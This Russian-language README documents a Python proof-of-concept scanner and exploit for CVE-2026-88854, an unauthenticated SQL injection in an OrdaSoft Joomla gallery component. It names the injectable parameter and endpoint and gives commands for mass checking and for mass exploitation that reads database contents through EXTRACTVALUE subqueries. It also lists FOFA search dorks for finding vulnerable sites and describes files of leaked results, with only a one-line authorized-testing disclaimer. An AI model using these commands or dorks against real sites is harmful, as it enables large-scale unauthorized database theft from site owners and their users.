
Python 3 PoC-сканер и эксплойт для CVE-2026-88854 — неаутентифицированная SQL-инъекция в OrdaSoft Joomla Gallery, с режимами массовой проверки и чтения данных через EXTRACTVALUE.
Python 3 PoC-сканер/эксплойт для CVE-2026-88854 в OrdaSoft OS Responsive Image Gallery для Joomla.
| Компонент | com_osgallery, com_osgallery_light |
| Затронуто | 1.0.0 – 6.2.6 |
| Исправлено в | 6.2.7+ |
| CVSS 4.0 | 9.3 (Критический) |
| Аутентификация | Не требуется (публичный mod_osgallery_search) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() читают textsearch / searchText через $input->getVar(), что не обеспечивает должного экранирования для SQL. Значение конкатенируется в условие LIKE. Неаутентифицированные посетители могут использовать инъекцию типа UNION для чтения содержимого базы данных.
Типичная поверхность запроса:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
В устаревших установках может использоваться имя задачи searhResult (опечатка).
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| Файл | Содержимое |
|---|---|
cve_2026_88854_results.jsonl | JSON по каждой цели |
hits.txt | URL-кандидаты (exploitable_candidate) |
status (check)audit_scan.py)После массовой проверки запустите audit_scan.py, чтобы повторно получить манифесты администратора и разделить цели:
Версия галереи читается из элемента <version> в administrator/components/com_osgallery/osgallery.xml, а не из атрибута Joomla extension version=.
EXTRACTVALUE; MariaDB/Postgres, отключённые ошибки или WAF могут дать отсутствие утечки, даже если CVE применима.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Локальные списки целей и артефакты запусков (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) находятся в .gitignore и не должны коммититься.
Только для авторизованного тестирования безопасности. Вы несёте ответственность за соблюдение применимых законов и правил программ.
| Параметр | Описание |
|---|
-u, --url | Базовый URL одного целевого сайта (для установок в подкаталоге: укажите путь) |
--list | Файл со списком целей (по одному URL на строку) |
--mode | check или exploit |
--subquery | SQL внутри EXTRACTVALUE (режим exploit, по умолчанию SELECT VERSION()) |
--threads, -j | Массовая параллельность (по умолчанию 20) |
--timeout | Таймаут HTTP в секундах (по умолчанию 20) |
--proxy | URL HTTP(S)-прокси |
--output | Результаты в JSONL (по умолчанию cve_2026_88854_results.jsonl) |
--vuln-list | Для check → hits.txt; для exploit → exploited.txt |
--quiet, -q | Меньше вывода о ходе выполнения |
| Статус | Значение |
|---|
sqli_confirmed | SQLi на основе ошибок/времени или подтверждённая утечка через EXTRACTVALUE |
likely_vulnerable_version | Версия в манифесте ≤ 6.2.6 + endpoint поиска |
likely_component | Галерея обнаружена, версия неизвестна |
boolean_inconclusive | Только разница в длине ответа (часто WAF); не считается подтверждённой |
patched_version | Версия в манифесте > 6.2.6 |
component_no_search_endpoint | Компонент присутствует, задача поиска недоступна |
no_component | com_osgallery не обнаружен |
| Файл | Содержимое |
|---|
hits_version_lte_626.txt | Версия галереи в манифесте ≤ 6.2.6 |
hits_component_endpoint.txt | Галерея + endpoint, версия не читается |
hits_patched.txt | Манифест > 6.2.6 |
fofa_stale.txt | Компонент отсутствует (устаревшая запись FOFA) |
cve_2026_88854_audit.jsonl | Обогащённый JSONL |